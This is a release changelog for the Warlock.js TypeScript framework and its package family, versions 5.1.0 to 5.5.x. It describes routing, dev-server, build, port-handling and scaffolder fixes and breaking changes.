Changed The published ./vite subpath is a barrel again: the connector no longer authors Vite plugins, so importing the runtime never drags the build tooling in behind it.
Changed Importing the metadata linter no longer pulls 4544 modules and 18 MB into a build-tool module for the sake of one function; it now costs 17 modules.
Changed One name for one thing: "runtime" everywhere, hydration/ renamed to entry/, and four files renamed to match what they contain.
Fixed Every rendered page returned 500 in warlock dev. The dev server decided the client/server boundary by FILE LOCATION — anything under src/web/** was treated as inherently client-safe — which contradicts the rule the production build applies and made a server-only import reachable from the client graph. Dev now decides the boundary by the import graph, exactly as production does.
Fixed A page route could not be served at all in warlock dev. The handler read the Fastify instance from the container while running inside Vite's SSR module graph, where that lookup can never hit. The instance is now resolved on the Node side and handed in.
Fixed Page files were ignored in silence. A *.page.tsx or a layout under src/app//web/ was discovered by nothing and reported by nothing — an app with seven pages served zero. Discovery now NAMES every file it ignores, at boot, and for a layout it says what was lost: its prefix, middleware and loader apply to no page, so a guard a page relied on is silently absent.
Fixed A file added to public/ after the last build 404'd in production with no diagnostic. The build-time snapshot is deliberate and stays — but production now names the files its snapshot missed instead of failing them wordlessly.
Fixed One page that fails to import no longer takes the whole dev boot down with it.
Fixed Writing to shared from the browser failed with a message that read as a fixable wiring bug — "the server bootstrap must call connectSharedStore(...)". It now names the value, explains that what the client holds is a dead server-render snapshot that can never be written to, and says what to use instead.
Fixed The public/ staleness check runs on every client build rather than only some.

@warlock.js/seal Fixed 1

Fixed warlock build and warlock start died inside Seal before any application code ran, with a ReferenceError from array-validator.ts extending BaseValidator before base-validator.ts had finished evaluating. The cause was one inline type import: under verbatimModuleSyntax, import { type ValidateOptions } from "./validators" is emitted as a real side-effect import, which closed an import cycle that a type-only import would never have created. Written as import type { ... }, the module is not pulled into evaluation at all. Nothing about the validators changed — only which modules load, and when.

5.5.0

September 7, 2026

Two fixes for things that damaged or misled you. warlock add web silently overwrote an existing src/app/contact module — it protected src/web/root.tsx from clobbering your work but wrote the contact route and controller unconditionally; each file is now guarded on its own, and a skip tells you the contact form’s endpoint is missing rather than just naming a file. And the documentation shipped inside every package told you to run pnpm-specific commands — including pnpm warlock routes --json, which cannot work under npm at all — so 188 of them across 281 files are now package-manager neutral, with a check that keeps them that way.

@warlock.js/core Fixed 2

Fixed warlock add web silently overwrote an existing src/app/contact module. It guarded src/web/root.tsx against clobbering a human's work but wrote the contact route and controller unconditionally, destroying them without a word. Each file is now guarded on its own existence, and a skip reports the consequence — that the contact form's POST /api/contact endpoint is missing and the form will 404 until you wire it.
Fixed Documentation shipped in skills/ told users to run pnpm-specific commands — including pnpm warlock routes --json, which cannot work under npm at all, since pnpm <binary> has no npm equivalent. Commands are now package-manager neutral.

@warlock.js/ai-workspace Fixed 1

Fixed Documentation shipped in this package's skills/ told users to run pnpm-specific commands. pnpm <binary> has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.

@warlock.js/auth Fixed 1

Fixed Documentation shipped in this package's skills/ told users to run pnpm-specific commands. pnpm <binary> has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.

@warlock.js/cache Fixed 1

Fixed Documentation shipped in this package's skills/ told users to run pnpm-specific commands. pnpm <binary> has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.

@warlock.js/cascade Fixed 1

Fixed Documentation shipped in this package's skills/ told users to run pnpm-specific commands. pnpm <binary> has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.

@warlock.js/context Fixed 1

Fixed Documentation shipped in this package's skills/ told users to run pnpm-specific commands. pnpm <binary> has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.

@warlock.js/fs Fixed 1

Fixed Documentation shipped in this package's skills/ told users to run pnpm-specific commands. pnpm <binary> has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.

@warlock.js/herald Fixed 1

Fixed Documentation shipped in this package's skills/ told users to run pnpm-specific commands. pnpm <binary> has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.

@warlock.js/logger Fixed 1

Fixed Documentation shipped in this package's skills/ told users to run pnpm-specific commands. pnpm <binary> has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.

@warlock.js/scheduler Fixed 1

Fixed Documentation shipped in this package's skills/ told users to run pnpm-specific commands. pnpm <binary> has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.

@warlock.js/seal Fixed 1

Fixed Documentation shipped in this package's skills/ told users to run pnpm-specific commands. pnpm <binary> has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.

@warlock.js/web Fixed 1

Fixed Documentation shipped in this package's skills/ told users to run pnpm-specific commands. pnpm <binary> has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.

create-warlock Fixed 1

Fixed Documentation shipped in this package's skills/ told users to run pnpm-specific commands. pnpm <binary> has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.

5.4.0

September 7, 2026

The release the generator matrix caught. Every warlock add <feature> path now runs end to end in CI before a publish — and the first run found six defects a developer would have hit in their first hour: warlock routes --json printed its status banner into the JSON so the documented pipe could never work, warlock add react-email crashed on the scaffold’s own commented tsconfig.json, warlock add web shipped an app whose homepage returned 500 from a duplicate GET /, its generated code failed the scaffold’s own lint, and warlock add notifications generated a controller that did not compile.

@warlock.js/core Changed 3 Fixed 6

Changed Command success and failure banners now write to stderr, not stdout. stdout carries a command's output; status chrome carries no data. A script that captured only stdout to grep for ✔ … completed successfully must now read stderr. Nothing could have depended on the previous behaviour for --json, whose payload was unparseable precisely because of it.
Changed Feature generators that patch tsconfig.json now edit its text instead of parsing and rewriting it, so the file's comments survive.
Changed warlock add web locates an existing GET / by scanning src/app/**/routes.ts rather than assuming one hardcoded path.
Fixed warlock routes --json could not be parsed. The command's success banner shared stdout with the JSON payload, so the documented machine seam — "emit the routes as JSON for piping into scripts/CI" — produced output no consumer could read, and always had.
Fixed warlock add react-email failed on every freshly scaffolded app. It read the project tsconfig.json with JSON.parse, and the scaffold's own tsconfig carries // comments, so the command aborted pointing at the developer's file.
Fixed warlock add web produced an app whose homepage returned HTTP 500. GET / was registered twice — by the scaffold's own home route and by the generated page — and Fastify refused the duplicate. Affected both warlock dev and warlock start.
Fixed warlock add web generated code that failed the scaffold's own lint gate: twelve prettier/prettier errors in files the developer had not written.
Fixed warlock add notifications generated a controller that did not compile — seven TS2345 errors from passing request.user where a Notifiable | Id was required.
Fixed Every warlock command opened a stdin handle at import time, through a module-level singleton whose constructor defaulted to process.stdin. Only warlock dev has any use for stdin.

5.3.2

September 5, 2026

The release that made our own checks tell the truth. prettier --check had been reporting a clean workspace while checking four files, web had been failing 9 tests and its typecheck since before 5.3.0 with nothing saying so, and 57 interfaces imported as values were crashing the from-source boot. The release gate now runs every package’s own suite and refuses to pack a dirty one. Ports also stopped lying: a configured port is normalised before anything binds, the bound port is what gets reported, and a startup precondition that cannot clear itself stops instead of restart-looping forever. npm create warlock completes on a clean machine again.

@warlock.js/core Fixed 7

Fixed An HTTP_PORT that does not round-trip through Number() — 03999, " 3999", +3999, 1e3 — reached the HTTP boot path as a string. 1e3 bound port 1000 with no diagnostic anywhere, the port published to the ready signal was the raw configured value, and PortInUseError's suggestion string-concatenated into port: 039991. A configured port is now resolved to a canonical integer before anything binds, logs or reports it, and a value that cannot become one fails naming it.
Fixed An ambient environment variable that overrode the app's own .env did so silently. The precedence is unchanged and deliberate — a checked-in .env is a default, an exported variable is the situational override — but the app now prints one line naming the variable, the value in effect, and that it came from the process environment. Keys that look like secrets are named with their values redacted.
Fixed The port reported to a supervisor, to WARLOCK_TEST_SERVER_PORT and to the ready report was the configured port rather than the one actually bound. It is now read back from the address listen() resolves with, so the two can no longer diverge — including under http.port: 0, where the configured value carries no information at all.
Fixed warlock dev restart-looped forever on a startup precondition that could never clear itself, reprinting its own diagnostic every few seconds and then scrolling it away with the restart banner. A failed precondition now stops, prints once, and exits.
Fixed The port preflight ran after the database connected, so a busy port took 7–13 seconds to report on the warlock dev path. It now runs before the early-phase connectors, as it already did for a production build.
Fixed 57 interfaces were imported as values across the package, each one crashing warlock dev's from-source boot the moment its file reached the per-file transpiler — which has no type information and so cannot elide the import.
Fixed localized() lost its StandardSchemaV1 typing in the published 5.3.0 and 5.3.1 tarballs. The typing is restored.

create-warlock Fixed 4 Removed 1

Fixed npm create warlock could not complete on a clean machine. The starter's prepare script ran husky, which needs a git repository, and the scaffolder installs before it runs git init — so the install failed and the scaffolder aborted with an empty node_modules, with and without --no-git.
Fixed The first pnpm install in a fresh project failed with ERR_PNPM_IGNORED_BUILDS. pnpm writes pnpm-workspace.yaml with a literal esbuild: set this to true or false placeholder when it meets an ignored build script non-interactively, and then rejects that value on the next install. The template now ships a decided value, so pnpm never writes the placeholder.
Fixed A scaffolded app failed its own ESLint check on the first warlock dev. The web feature injected its connector import at the TOP of warlock.config.ts, ahead of the imports the template already had, and the generated app formats with prettier-plugin-organize-imports — so the injected line was out of order the moment it was written. It is now inserted in sorted position.
Fixed Running the scaffolder without a terminal — from CI, a script, or any non-interactive shell — died with TTY initialization failed: uv_tty_init returned EBADF, a libuv internal shown to a developer whose only mistake was not being at a keyboard. A missing terminal is no longer an error when the flags already answer every prompt; only a genuinely unanswerable question stops the run, and it names --yes and the flags that supply it.
Removed husky and its prepare script from the starter. Note what goes with it: the generated project ships no CI, so the format, lint, typecheck and test that ran on commit are gone with nothing yet replacing them. That gap is tracked separately.

@warlock.js/web Fixed 1

Fixed A page-file segment carrying a bracket but no complete group could reach the parameter-name read with nothing to read. Unreachable as the surrounding checks stand, and now stated as a guard rather than assumed, so a future narrowing of those checks fails here naming the segment instead of throwing further down.

5.3.1

September 4, 2026

A republish of 5.3.0 as one complete set. The 5.3.0 publish left the family's reciprocal exact peer requirements unsatisfiable from a fresh registry install, so npm create warlock@5.3.0 failed to resolve. 5.3.1 is the same code, verified by scaffolding, building and booting a real app from the public registry.

create-warlock Fixed 1

Fixed npm create warlock@5.3.1 resolves and runs. The 5.3.0 scaffolder could not install, because the family's reciprocal exact peer requirements were unsatisfiable from a fresh registry install.

@warlock.js/core Fixed 1

Fixed Republished the complete family so a clean install resolves. The 5.3.0 publish left the family's reciprocal exact peer requirements unsatisfiable from a fresh registry install; 5.3.1 is the same code, published as one complete set.

@warlock.js/web Fixed 1

Fixed Republished the complete family so a clean install resolves. Same code as 5.3.0, published as one complete set.

5.3.0

September 3, 2026

The silent-failure release. Routing now validates every page path it derives — a directory that owned a layout prefix was skipping classification, letting two pages resolve to the same URL — and a page's declared route.path is validated for the first time. Error responses gained a no-store floor, warlock gen emits handlers that actually compile against v5, and the web layer ships a real 404 page and request-bound localization.

@warlock.js/web Added 2 Fixed 6

Added A standalone Warlock 404 page, styled and served by the web layer.
Added Request-bound web localization: the active locale travels with the request rather than being read from ambient state.
Fixed The 404 page's stylesheet was imported through a Vite-only ?url&inline query, which the release bundler could not resolve — the web package could not be built for publication at all. The stylesheet URL is now produced by a plain module, guarded by a test that keeps the emitted markup byte-exact against the CSS file.
Fixed A directory that owned a layout prefix was never classified, so bracket syntax inside a group name went unexamined and two different pages could derive the same route. Every directory name is now validated before the route decides whether it contributes.
Fixed A page's DECLARED route.path was never validated — the validator had zero callers.
Fixed Bracket syntax inside a group name is rejected instead of silently deriving a route.
Fixed discover-pages now composes paths through the same validated seam as the rest of routing, so the two can no longer disagree.
Fixed An unobservable auth mark revokes a cache opt-in: unproven now means revoked, not assumed safe.

@warlock.js/core Changed 1 Fixed 3 Removed 1

Changed A request is marked auth-derived the moment user or decodedAccessToken is assigned, so cacheability is decided by what the request actually read rather than by a separate declaration.
Fixed Every error response was cacheable. The no-store floor is now set at the single error funnel, so an error can no longer be served from a cache to a second request.
Fixed warlock gen emitted controllers with v4 handler signatures — every generated controller failed to compile against the v5 contract. The generator now emits the v5 ctx object signature.
Fixed A validated file field was inferred as unknown; the sweep that found it found a second occurrence, and both are fixed.
Removed Five unreachable error branches that described a response the framework never sent.

create-warlock Added 1 Changed 1 Fixed 1

Added A browser gate for the freshly scaffolded starter, so the generated project is exercised in a real browser rather than assumed to work.
Changed The web starter template migrated to the current page contract, with a pinned home route identity so SSR and hydration agree on one route name.
Fixed The scaffolder no longer parses CSS as TypeScript.

5.2.4

September 2, 2026

Web starter HMR repair. warlock add web now isolates universal page registration in a stable sidecar so React Fast Refresh preserves component state while SSR and hydration keep the same lifecycle.

@warlock.js/core Fixed 1

Fixed warlock add web now writes universal page setup to src/web/index.register.ts and re-exports register() from the page, preserving component state across React Fast Refresh edits without changing SSR or hydration registration.

5.2.3

September 2, 2026

Generator repair. warlock add preserves exact Warlock family pins, while warlock add web emits a projection-safe generated page with one index identity shared by SSR and hydration plus deterministic favicon and form IDs that remove the generated-page console errors. Published fixes only: the Web starter remains under release-gate hold pending 5.2.4.

@warlock.js/core Fixed 2

Fixed warlock add now preserves exact lockstep versions for added Warlock family packages while retaining declared ranges for third-party dependencies.
Fixed warlock add web now emits a projection-safe register() hook and one index route identity for SSR and hydration, with deterministic form and favicon markup for a clean browser console.

@warlock.js/web Fixed 1

Fixed The generated Web starter now projects and hydrates unchanged with one index page identity, universal localization registration, and deterministic browser markup.

@warlock.js/access Fixed 1

Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.

@warlock.js/ai Fixed 1

Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.

@warlock.js/ai-anthropic Fixed 1

Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.

@warlock.js/ai-bedrock Fixed 1

Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.

@warlock.js/ai-deepseek Fixed 1

Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.

@warlock.js/ai-google Fixed 1

Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.

@warlock.js/ai-groq Fixed 1

Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.

@warlock.js/ai-live Fixed 1

Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.

@warlock.js/ai-mistral Fixed 1

Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.

@warlock.js/ai-ollama Fixed 1

Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.

@warlock.js/ai-openai Fixed 1

Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.

@warlock.js/ai-panoptic Fixed 1

Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.

@warlock.js/ai-tools Fixed 1

Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.

@warlock.js/ai-workspace Fixed 1

Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.

@warlock.js/ai-xai Fixed 1

Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.

@warlock.js/auth Fixed 1

Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.

@warlock.js/cache Fixed 1

Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.

@warlock.js/cascade Fixed 1

Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.

@warlock.js/context Fixed 1

Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.

@warlock.js/fs Fixed 1

Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.

@warlock.js/herald Fixed 1

Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.

@warlock.js/logger Fixed 1

Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.

@warlock.js/notifications Fixed 1

Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.

@warlock.js/scheduler Fixed 1

Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.

@warlock.js/seal Fixed 1

Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.

create-warlock Fixed 1

Fixed New projects now resolve and stamp the coherent 5.2.3 family, making the repaired Web generator the default scaffold path.

5.2.2

September 2, 2026

Lockstep packaging repair. Restores exact 5.2.2 pins across the complete Warlock package family after the partial 5.2.0 and 5.2.1 releases could not satisfy reciprocal exact peers. Known issue: warlock add web generates an app that does not boot or hydrate.

@warlock.js/core Fixed 1

Fixed Restored exact 5.2.2 pins across the complete Warlock family. The partial 5.2.0 and 5.2.1 releases could not satisfy the family's reciprocal exact peer requirements in a clean install.

@warlock.js/web Fixed 1

Fixed Restored exact Core and Seal peer pins at the family's shared 5.2.2 version. The partial 5.2.1 release could not satisfy reciprocal family peer pins.

create-warlock Added 3

Added A resolver-boundary check (scripts/check-resolver-boundaries.mjs), run in CI. Every package.json in the checkout is treated as a publish boundary; the script walks each package's tsconfig.json paths and any vite.config.* / vitest.config.* alias and fails if one resolves outside its own package. A test/build-only alias that reaches into a sibling checkout (e.g. ../core/src) proves nothing about the published package — it resolves locally today and 404s the moment the package is installed on its own. Covered by specs/resolver-boundaries.spec.ts.
Added --help/--version are now exercised end to end (specs/cli-entry.spec.ts): both exit 0 before createNewApp runs — no prompt, filesystem write, or network call — and --help wins even over a positional project name and other flags. --version prints this package's own package.json version, pinned loosely (a bare semver-ish string) since the exact value drifts every release.
Added A CI workflow (.github/workflows/ci.yml), with two jobs: specs (resolver-boundary check, a --version smoke test asserting the built CLI's reported version matches package.json, then vitest) and scaffold-typecheck (the existing typecheck:scaffold gate, scaffolding a real project and installing it). specs runs on pushes to main/master and every pull request; both jobs also run nightly (schedule: cron "0 4 * * *") plus workflow_dispatch, since the scaffold-typecheck gate installs the framework from the registry and can go red from a framework release alone, without anyone touching this repo.

@warlock.js/ai-anthropic

@warlock.js/ai-bedrock

@warlock.js/ai-deepseek

@warlock.js/ai-google

@warlock.js/ai-groq

@warlock.js/ai-live

@warlock.js/ai-mistral

@warlock.js/ai-ollama

@warlock.js/ai-openai

@warlock.js/ai-panoptic

@warlock.js/ai-tools

@warlock.js/ai-workspace

@warlock.js/ai-xai

@warlock.js/context

@warlock.js/seal

5.2.1

September 2, 2026

Packaging repair. @warlock.js/core rebuilds the published manifest with the complete family registry and npm-resolvable internal ranges after 5.2.0 leaked workspace: specifications, while @warlock.js/web tightens its Core and Seal peer ranges; this partial family release still could not satisfy the family's reciprocal exact pins.

@warlock.js/core Fixed 1

Fixed Rebuilt the published package with the complete Warlock family registry and installable npm ranges for every internal dependency. The 5.2.0 registry manifest leaked six workspace: dependency specifications and could not be installed outside the monorepo.

@warlock.js/web Fixed 1

Fixed Tightened the Core and Seal peer ranges to ^5.2.0. Web 5.2 production code imports Core APIs that were not available in Core 5.0, while the former Seal * range promised compatibility across unrelated major versions.

5.2.0

September 2, 2026

Web routing and production-build release. @warlock.js/web adds filesystem-derived routes, error boundaries, universal registration, live development route updates, and stricter client safety; @warlock.js/core adds connector build hooks, warlock routes:diff, validated proxy configuration, atomic build promotion, and start-time artifact checks.

@warlock.js/web Added 5 Changed 8 Fixed 1

Added error.page.tsx — the application's one error boundary. It renders when a middleware, loader, or component throws; declares no route, exactly like 404.page.tsx; and a second error.page.tsx anywhere beneath src/web is a build error. Its component receives { error, status } — the real thrown value during SSR, a JSON-safe { name, message, stack? } after hydration. robots: noindex is a framework default on this path and cannot be overridden away. If the failure happens before any page module could load — a module-load or register() throw — the response falls back further, to a framework-owned boundary with no application code at all, and is served without a hydration script rather than risk hydrating against markup nothing can vouch for.
Added A page's route export is now optional. A *.page.tsx with no route derives its path and its name from its location beneath src/web: directories contribute segments, (group) directories contribute nothing, index.page.tsx claims its own directory, and [id] becomes :id. An explicit route still always wins over the derived one. This replaces the 5.1 behaviour, where an omitted route threw MissingRouteExportError at install time — that error class no longer exists.
Added Live page-route re-registration in warlock dev. Creating, deleting, or editing a page's route export used to require a manual restart to take effect — the route table was built once at boot and never again, so a renamed route kept serving its old path and a deleted page kept 404-ing at its old URL forever. The dev connector now re-registers the affected routes in place, atomically, with no dev-server restart and no loss of Vite's HMR state. A component-body-only edit still takes the ordinary Fast Refresh path; only membership and route-identity changes go through this path.
Added A dev-only diagnostic for a page file that exists but isn't reachable. When a request 404s, Warlock checks whether an unregistered *.page.tsx under src/web would have matched it, and if so, warns naming the file. This is the case that used to be silent: a page created after boot, or one whose route was edited to a path nothing else claims, previously 404'd with no explanation anywhere in the terminal.
Added export const register — an optional, synchronous, no-argument hook on root.tsx, layout.tsx, and *.page.tsx. It runs once per module namespace instance, on both the server and the browser, before that module's middleware or loader — the seam for one-time setup a page or layout needs on both sides of hydration. It must not return a Promise; returning one throws.
Changed Page requests now tolerate one trailing slash identically in development and production. /about and /about/ serve the same page; / remains the root path and case handling is unchanged. Previously the development dispatcher accepted the slash while the production Fastify route returned 404.
Changed ⚠ BREAKING — process.env is refused entirely in the client/universal graph, and there is no PUBLIC_ exception. Neither a static key (process.env.PUBLIC_API_URL) nor a computed one (process.env[key]) is allowed: process does not exist in a browser, so there is no such thing as a "public" process.env key. Bare value-reads of the object now fail too — const { X } = process.env, { ...process.env }, Object.keys(process.env), JSON.stringify(process.env), or passing it as an argument — which is the case that previously let an entire server environment reach a component in one line while every keyed read was being refused. globalThis.process.env, window.process.env and process["env"] are matched as well.
Changed ⚠ **BREAKING — a *.page.tsx with no default export is now a hard discovery/build failure, naming the file.** It previously built and registered, then served a blank 200 at its URL — a page that looked deployed, rendered nothing, and produced no error anywhere.
Changed Initial stylesheet links are route-scoped in development and production. Each response now links the ordered, deduplicated CSS chain for its own [root, ...matched layouts, page]. Production follows those source entries and their static imports in Vite's manifest instead of collecting CSS across the whole application; development promotes direct stylesheet imports from the matched page and layouts as well as the root. Unrelated page CSS no longer ships on every response, and page-local critical CSS no longer waits for hydration in development.
Changed The production static-asset refusal now names the working 5.2 alternative. Imported non-stylesheet assets still work under Vite in development but are refused by the esbuild server bundle rather than risk a server/client URL mismatch. The diagnostic now tells the developer to place the file under the application's public/ directory and reference its root URL (public/logo.svg → /logo.svg) instead of waiting for an unspecified future server build. Stylesheet imports remain supported.
Changed Loader execution is sequential, root to leaf, and terminal responses stop lower work. The root.tsx App loader runs first, followed by every matched layout loader from outermost to innermost, then the page loader. The runtime has three top-level slots (app, layout, page), but the layout slot composes the full matched layout chain. A page still has at most one _rendering_ layout; loader-only and middleware-only layouts may appear at multiple ancestry levels.
Changed Catch-all page routes are documented as unsupported. [...slug].page.tsx does not do what it looks like: filesystem routing recognizes only [name] as a dynamic segment, so [...slug] is taken as a literal segment and derives the path /docs/[...slug] and the name docs.[...slug] — reachable only at the literal URL /docs/%5B...slug%5D. ⚠ Nothing warns about it: no build error, no dev warning, no refusal, just a page that answers a URL nobody will request. A real catch-all is deferred; until then use a terminal wildcard with an explicit route (route = { path: "/docs/*" }). This entry records the gap, it does not close it.
Changed src/web is the only page root. A per-module src/app/<module>/web/ tree is no longer discovered, walked, or installed as a page root by either warlock dev or warlock build. Move any page, layout, or root file that lived under src/app/<module>/web/ into src/web/ (a subdirectory is fine — it still contributes a route segment the same way).
Fixed A custom 404.page.tsx loader no longer executes. The not-found page still registers and renders its real module namespace, but its request triple omits the page loader in both development and production. A missing URL therefore cannot trigger application data work, redirect, or fail a second time through the fallback itself.

@warlock.js/core Added 2 Changed 8 Fixed 3

Added Connectors can contribute to warlock build through an optional static build object. Configured connectors may define ordered, awaited generate(context) and emit(context) hooks without being booted or started. generate can add generated entry imports and a narrow esbuild patch; emit can produce non-esbuild artifacts after the server bundle. Unknown contribution keys, duplicate/reserved connector names, generated unresolved imports, and hook failures stop the build instead of producing a partial artifact.
Added warlock routes:diff — compares the live dev-server page-route surface against the last successful warlock build's snapshot (page-routes.manifest.json in the build outdir). Boots diagnostically (same fail-loud boot as warlock routes / warlock doctor — no connectors started), then reports changed / removed / added page routes and exits non-zero on drift; exits 0 with "Page routes match" when the two agree. Refuses to run (with an instruction to run warlock build first) when no snapshot exists yet, or when an existing one is malformed. A route whose path/name moved but whose source file didn't is reported as one changed line instead of a removed + added pair.
Changed Incoming routes now match with or without one trailing slash in both development and production. /about and /about/ dispatch to the same route; / remains /, query strings are preserved, and case matching is unchanged. Both router paths call the same request-path normalizer before matching instead of relying on different Fastify/find-my-way defaults.
Changed ⚠ BREAKING — http.trustProxy is validated at boot, and a number is refused. The accepted shapes are exactly boolean, a non-empty string (a single IP/CIDR or several comma-separated), a non-empty string[], and an (address, hop) => boolean predicate; a missing or nullish value means false. Anything else — a number, "", [], an array with a non-string entry, a plain object — now throws a TypeError while the HTTP server is being constructed, before Fastify is instantiated, instead of being handed through and silently coerced
Changed warlock build writes into a temporary directory and promotes it only on success. The build no longer writes into outdir as it goes. It builds into a hidden sibling directory (.<outdir-basename>.build-<hex>, same volume so the promotion is a rename), writes a .warlock-build.json success marker ({ status, builtAt }) as its last step, then swaps the directory into place. A successful build therefore leaves no stale files — outdir is replaced wholesale rather than merged over, so an artifact a previous build emitted and this one did not is gone. A failed build leaves no usable dist — the temp directory is removed and the error rethrown without outdir ever being touched, so a previous good build survives intact and no half-written one takes its place
Changed warlock start refuses a dist that was not produced by a successful build, and names that as the reason. It checks for the .warlock-build.json marker in outdir before spawning anything; missing, unreadable, malformed, or status !== "success" all exit 1 on stderr with
Changed warlock start surfaces the child process's real output on a failed boot. The production supervisor forwards every stdout/stderr chunk from the spawned bundle verbatim and live, and its failure summary now reports whether a cause actually arrived: the cause is printed above, in the application's own output when output was seen, and no output was captured from the application process — its cause did not reach this terminal when none was. It previously pointed at "above" unconditionally, which on a silent child meant pointing at an empty terminal
Changed The HTTP connector now preflights its port before binding. warlock dev and warlock start both go through HttpConnector.start(), which now calls assertPortIsAvailable(port, host) immediately before listen(). A collision now surfaces as EADDRINUSE: Port <port> is already in use on <host>. Stop the dev server (or whatever else is listening on port <port>) and run again... — the code and the port named in the same sentence — instead of a bare EADDRINUSE thrown from inside Fastify with no indication of which port it meant. EACCES on the port is treated the same way, since "cannot bind" is one problem from the operator's side. The test server (startHttpTestServer) already preflighted its port before this release; this brings dev/start to the same behavior.
Changed startHttpTestServer() now runs Application.runStartupValidators() — the same slot warlock dev and the generated production app.ts already ran it in — after application modules load and before the late-phase connectors (http, socket) bind. A validator registered via Application.onValidateBoot(...) that rejects now aborts the test server's boot exactly as it aborts dev/start, instead of only being enforced outside of tests.
Changed warlock add web scaffolds a real, validated API endpoint, not just a static page. It now also writes src/app/contact/routes.ts and src/app/contact/controllers/contact.controller.ts (a POST /api/contact route validated with @warlock.js/seal), and src/web/home.page.tsx ships an interactive, localized (en/ar) contact form wired to that route via @mongez/http - @mongez/react-form + @mongez/react-localization. The web feature now also installs those three packages as dependencies.
Fixed **Feature definitions no longer carry stale ~4.0.0 defaults for @warlock.js/*.** They now use an explicit internal placeholder that warlock add must resolve from the installed Core version before invoking a package manager or writing package.json. A forgotten resolution therefore fails loudly instead of silently selecting an old framework major.
Fixed startHttpTestServer() fails loudly instead of silently skipping the preflight when http.port doesn't round-trip through Number() (e.g. HTTP_PORT=03999, +3999, 1e3, or a value with stray whitespace) — previously it returned early and let the connector reach listen({ port }) with the unvalidated value and no published port for test workers to resolve.
Fixed A race in the mail SES driver where getSesMailer() could read the eagerly-loaded nodemailer module before its load promise had settled. It now awaits the in-flight load first (throwing the "nodemailer is not installed" install-instructions error if the load ultimately failed), matching the guard the SMTP path already had.

5.1.0

August 26, 2026

@warlock.js/web repairs published React hydration and adds an application-owned 404 page, typed metadata, and safer Fast Refresh boundaries; @warlock.js/core adds Tailwind and shadcn setup commands.

@warlock.js/web Added 3 Changed 1 Fixed 2 Removed 1

Added 404.page.tsx — an app-owned not-found page. It renders only when text/html is explicitly present in the request's Accept header, so an unmatched /api/... path still returns the JSON 404 an API client expects rather than a document. It renders with no layouts: discovery reports an empty layout chain for this page only, so the client hydration registry matches what the server has always rendered instead of wrapping a failure page in chrome that can itself throw or need data. Ordinary pages beside it keep their full layout chain, and nested-layout refusal on its path is unchanged.
Added export const metadata is typed (PageMetadata) and checked at build time. An unannotated object literal with a misspelled key — { tittle: "x" } — now fails the build, naming the file, the line and the offending key. It previously typechecked as a plain object and was silently ignored at runtime.
Added Fast Refresh in dev now applies only when an edit is confined to component bodies. Any module-level change — an import, a module-level declaration, or any server export, metadata included — forces a full page reload instead of a stale hot update; a JSX-only edit still hot-updates in place with component state intact.
Changed **warlock dev now refuses a *.page.tsx that exports no route**, throwing MissingRouteExportError and naming the file. It previously 404'd silently, so a missing export const route looked like a routing bug at request time. This matches what warlock build already did — dev and build now reject the same file.
Fixed React did not run at all in published installs of 5.0.0 through 5.0.2. The dev Vite server served react-dom/client as raw CJS, so hydrateRoot did not exist and the hydration module threw while being parsed. This one defect is the cause of all four symptoms reported against those versions: useState never updated, Fast Refresh never ran, metadata never refreshed, and <Link> fell back to a full page reload. Fixed by declaring the React entries in the dev server's optimizeDeps so they are pre-bundled to ESM before the browser asks for them. This is not a hydration _improvement_ — hydration did not happen.
Fixed The browser was loading two copies of every @warlock.js/web client module. Module-level state (context, the navigation runtime) existed twice, so a value written through one copy was invisible to the component reading the other.
Removed A false comment shipped in 5.0.0 through 5.0.2 claiming that a page's route is derived from its file location. No such derivation has ever existed in this package; the route comes from the page's route export and nothing else. The comment is gone from the scaffold emitted by warlock add web, but every app scaffolded on 5.0.0, 5.0.1 or 5.0.2 still carries it in its own source — delete it by hand.

